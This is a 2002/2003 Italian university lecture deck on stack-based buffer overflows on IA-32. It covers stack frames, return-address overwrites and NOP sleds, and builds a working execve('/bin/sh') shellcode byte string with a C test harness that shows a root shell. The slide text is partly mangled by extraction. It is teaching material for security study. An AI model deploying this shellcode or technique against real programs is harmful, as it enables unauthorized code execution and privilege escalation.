
Download - Buffer Overflows (stack based)
-
Buffer Overflows(stack based)Alberto Ornaghi Lorenzo Cavallaro
ICT security 2002/2003
-
Table of contentsIntroduzione allIA-32ProblemaCode InjectionShellcode
ICT security 2002/2003
-
Introduzione
ICT security 2002/2003
-
Record di attivazione
Return Address - E lindirizzo a cui viene ceduto il controllo una volta terminata lesecuzione della funzione.
Base Pointer - E il contenuto del registro EBP al momento della chiamata alla funzione. Rappresenta il puntatore al record di attivazione precedente che deve essere ripristinato al termine della funzioneret addressbase pointerautomatic variables......highlow
ICT security 2002/2003
-
Sullo stackint foo(int a, int b){ int i = 5; return (a + b) * i;}
int main(int argc, char **argv){ int c = 3, d = 4, e = 0; e = foo(c, d); printf(e = %d\n, e);}highlowstack
ICT security 2002/2003
-
RDA innestatiint foo(int a, int b){ bar(a, b);}
int bar(int a, int b){ ...}
int main(int argc, char **argv){ foo(c, d);}dchighlow
ICT security 2002/2003
-
Registri della CPUEIP: instruction pointerpuntatore allistruzione successiva
EBP: frame pointerpuntatore riferito alla base del record di attivazione (fisso)
ESP: stack pointerpuntatore riferito al top della stack (mobile)
dchighlowret addressbase pointerbret addressbase pointera
ICT security 2002/2003
-
Prologo ed epilogoPrologo:push %ebp(salva %ebp)mov %ebp, %esp(sposta %esp)
Epilogoleave(ripristina %esp e %ebp)ret(ripristina %eip)
ICT security 2002/2003
-
Variabili automaticheInt foo(int a, int b){ int i, j; char buf[9]; }Lallineamento di default sullo stack e a double word (4 byte)
I buffer vengono estesi per essere allineati a 4 bytebahighlowret addressbase pointerijbufferpad
ICT security 2002/2003
-
Problema
ICT security 2002/2003
-
Situazione normaleint foo(int a, int b){ int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, sicurezza);}
bahighlowret addressbase pointer
ICT security 2002/2003
-
Situazione criticaint foo(int a, int b){ int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, sicurezzabcde);}bahighlowret addressbase pointer
ICT security 2002/2003
-
Situazione molto criticaint foo(int a, int b){ int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, sicurezzaaaabbbbcccceeeeffff);}bahighlow
ICT security 2002/2003
-
Code Injection
ICT security 2002/2003
-
Modifica del ret addressbahighlow0xbffffcab0xbffffca70xbffffc8bint a = 3;int b = 5;int e;
e = foo(a, b);
printf(%d\n, e);
ICT security 2002/2003
-
Guessing del ret addr (1)Non esiste un algoritmo efficiente per trovare il ret addr
Procediamo empiricamente tenendo conto che: il S.O. usa memoria virtuale e paginazione Processo 1Processo 2highlow
ICT security 2002/2003
-
Guessing del ret addr (2)Limmagine dei processi e cosi strutturata:envargvRDA mainRDA foohighlowRDA baroffset fissooffset variabile
ICT security 2002/2003
-
Guessing del ret addr (3)lo stack pointer (esp) e una buona base dalla quale poter togliere (o aggiungere) un offset; quindi lindirizzo cosi ottenuto e un buon candidato come retaddr del programma vulnerabile.buf[4]buf[0]aespret addrboffset (8)highlow
ICT security 2002/2003
-
ProblematicheLe funzioni di copia per le stringhe (strcpy, gets, ecc) copiano fino al primo NULL byte (terminatore per le stringhe).Il codice iniettato non dovra contenere NULL bytecode[] = \xeb\x2a\x5f\xc6\x47\x07\x00\x89\x7f\x08\xc7\x47;
strcpy(buf, code);
buf = \xeb\x2a\x5f\xc6\x47\x07
ICT security 2002/2003
-
FacilitazioniPer aumentare la probabilita di trovare il ret addr e possibile preparare una pista di atterraggio di NOP (0x90) (istruzione macchina che non fa nulla).ret address90 90 90 9090 90 90 90CODEINJE90 90 90 9090 90 90 90...ret addr allargatoCTED
ICT security 2002/2003
-
Struttura del bufferIl buffer che verra iniettato nel programma vulnerabile avra una struttura simile a questa:NOP NOPEXECUTABE CODERET ADDRcode[] = \x90\x90\x90...\xeb\x2a...\x8d\xfc\xff\xbf;attenzione !!
ICT security 2002/2003
-
Considerazioni...Il buffer potrebbe essere troppo piccolo per contenere un codice utile
Lo stack potrebbe non essere eseguibile
Il code puo essere messo in qualsiasi punto della memoria (non solo sullo stack, e non solo nel buffer)
ICT security 2002/2003
-
Lo shellcode
ICT security 2002/2003
-
exec.c#include #include
int main(){char *shell[] = { "/bin/sh", NULL };
execve(shell[0], shell, NULL);}
ICT security 2002/2003
-
Disasm mainpush %ebpmov %esp, %ebpsub $0x18, %espmovl $0x809cd00, 0xfffffff8(%ebp)mov 0xfffffff8(%ebp), %eaxand 0xfffffff0, %espmov %eax, 0xfffffff0(%ebp)push %eaxpush $0x0movl $0x0, 0xfffffffc(%ebp)lea 0xfffffff0(%ebp), %eaxmov 0xfffffffc(%ebp), %edxpush %eaxmov %edx, 0xfffffff4(%ebp)push 0xfffffff0(%ebp)call 0x804cab0
ICT security 2002/2003
-
Disasm execvemov $0x8(%ebp), %edimov $0xc(%ebp), %ecxmov $0x10(%ebp), %edxmov %edi, %ebxmov $0xb, %eaxint $0x80ret addressbase address
ICT security 2002/2003
-
registrimov $0x8(%ebp), %edimov $0xc(%ebp), %ecxmov $0x10(%ebp), %edxmov %edi, %ebxmov $0xb, %eaxint $0x80eax = 0xbebx = /bin/shecx = (/bin/sh, NULL)edx = (0x0)sh-2.03# iduid=0(root) gid=0(root) groups=0(root)
ICT security 2002/2003
-
Lo shellcodeeax = 0xbebx = /bin/shecx = (/bin/sh, NULL)edx = (0x0)Supponiamo di avere lindirizzo sullo stack di /bin/sh nel registro %edi
movb $0x0, 0x7(%edi)#terminazionemovl %edi, 0x8(%edi)#indirizzomovl $0x0, 0xc(%edi)#NULLlea 0xc(%edi), %edx#envp NULLlea 0x8(%edi), %ecx#arraymov %edi, %ebx#/bin/shmov $0xb, %eaxint $0x80#syscall
ICT security 2002/2003
-
Lo shellcode
edi = /bin/sh
Come troviamo lindirizzo sullo stack di /bin/sh ???
jmp string_addrafter_jmp:pop %edi
[...]
string_addr:call after_jmp.string \"/bin/sh\"Shellcode pagina precedente
ICT security 2002/2003
-
Opcode dello shellcode jmp string_addr # 0xeb 0x1eafter_jmp: pop %edi # 0x5f movb $0x0, 0x7(%edi) # 0xc6 0x47 0x07 0x00 movl %edi, 0x8(%edi) # 0x89 0x7f 0x08 movl $0x0, 0xc(%edi) # 0xc7 0x47 0x0c 0x00 0x00 0x00 lea 0xc(%edi), %edx # 0x8d 0x57 0x0c lea 0x8(%edi), %ecx # 0x8d 0x4f 0x08 mov %edi, %ebx # 0x89 0xfb mov $0xb, %eax # 0xb8 0x0b 0x00 0x00 0x00 int $0x80 # 0xcd 0x80string_addr: call after_jmp # 0xe8 0xd1 0xff 0xff 0xff .string \"/bin/sh\"
ICT security 2002/2003
-
Eliminazione null bytesmovl $0x0b, %eax{xorl %eax, %eaxmovb %0x0b, %almovb $0x00, 0xc(%edi){xorl %eax, %eaxmovb %al, 0xc(%edi)
ICT security 2002/2003
-
Shellcode finale jmp string_addr # 0xeb 0x18after_jmp: pop %edi # 0x5f xorl %eax, %eax # 0x31 0xc0 movb %al, 0x7(%edi) # 0x88 0x47 0x07 movl %edi, 0x8(%edi) # 0x89 0x7f 0x08 movl %eax, 0xc(%edi) # 0x89 0x47 0x0c lea 0xc(%edi), %edx # 0x8d 0x57 0x0c lea 0x8(%edi), %ecx # 0x8d 0x4f 0x08 mov %edi, %ebx # 0x89 0xfb movb $0xb, %al # 0xb0 0x0b int $0x80 # 0xcd 0x80string_addr: call after_jmp # 0xe8 0xde 0xff 0xff 0xff .string \"/bin/sh\"
ICT security 2002/2003
-
Testing dello shellcodechar shellcode[] = "\xeb\x1d\x5f\x31\xc0\x88\x47\x07\x89\x7f\x08\x89\x47\x0c\x8d\x57\x0c\x8d\x4f\x08\x89\xfb\xb0\x0b\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";
int main(){
void (*f)(void) = (void (*)(void))shellcode;
f();
}sh-2.03# iduid=0(root) gid=0(root) groups=0(root)
ICT security 2002/2003
-
Lorenzo Cavallaro Alberto Ornaghi
Mailing list del corso (per domande tecniche) [email protected]
ICT security 2002/2003
Blackhats italia 2002